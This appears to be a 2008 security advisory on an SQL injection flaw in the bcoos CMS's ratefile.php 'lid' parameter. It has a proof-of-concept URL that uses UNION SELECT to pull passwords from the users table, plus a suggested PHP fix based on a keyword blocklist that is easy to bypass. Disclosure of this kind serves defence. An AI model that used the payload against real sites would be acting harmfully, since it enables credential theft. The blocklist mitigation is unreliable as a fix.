bcooslid-sql.txt

`############################################  
bcoos /mysections/ratefile.php lid variable SQL injection  
vendor url: http://www.bcoops.net  
Advisore: http://lostmon.blogspot.com/2008/02/  
bcoos-mysectionsratefilephp-lid.html  
vendor notify:NO exploits available: YES  
############################################  
  
bcoos is content-community management system written in PHP-MySQL.  
  
bcoops contains a flaw that may allow an attacker to carry out  
an SQL injection attack. The issue is due to the script not  
properly sanitizing user-supplied input to the 'lid' variable,  
and adresses/ratefile.php script.This may allow an attacker to  
inject or manipulate SQL queries in the backend database.  
  
  
  
#################  
Versions:  
#################  
  
bcoops =< 1.0.11 vulnerable  
  
#################  
Solution:  
#################  
  
No solution at this time !!!  
Also you can try to edit the source code and  
put this code to mitigate 'union' injection:  
  
open modules/mysections/ratefile.php  
  
arround line 76 found this code:  
  
exit();  
} else {  
  
you can change for:  
  
exit();  
}  
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) ||  
eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*",  
$lid))  
{  
echo "  
  
  
  
This SQL injection is patched Now !!!  
  
  
";  
redirect_header("index.php");  
die();  
}  
else {  
  
And now this union sql attack is patched :D  
  
#################  
Timeline:  
#################  
  
Discovered:31-01-2008  
vendor notify:--------  
vendor response:-------  
disclosure:07-02-2008  
  
  
#################  
SQL intection:  
#################  
  
  
http://localhost/modules/mysections/ratefile.php?lid=  
-99%20UNION%20SELECT%20pass%20FROM%20bcoops_users%20LIMIT%201  
  
  
  
#######################€nd##############################  
  
  
  
Thnx to estrella to be my ligth  
Thnx To FalconDeOro for his support  
Thnx To Imydes From http://www.imydes.com  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
`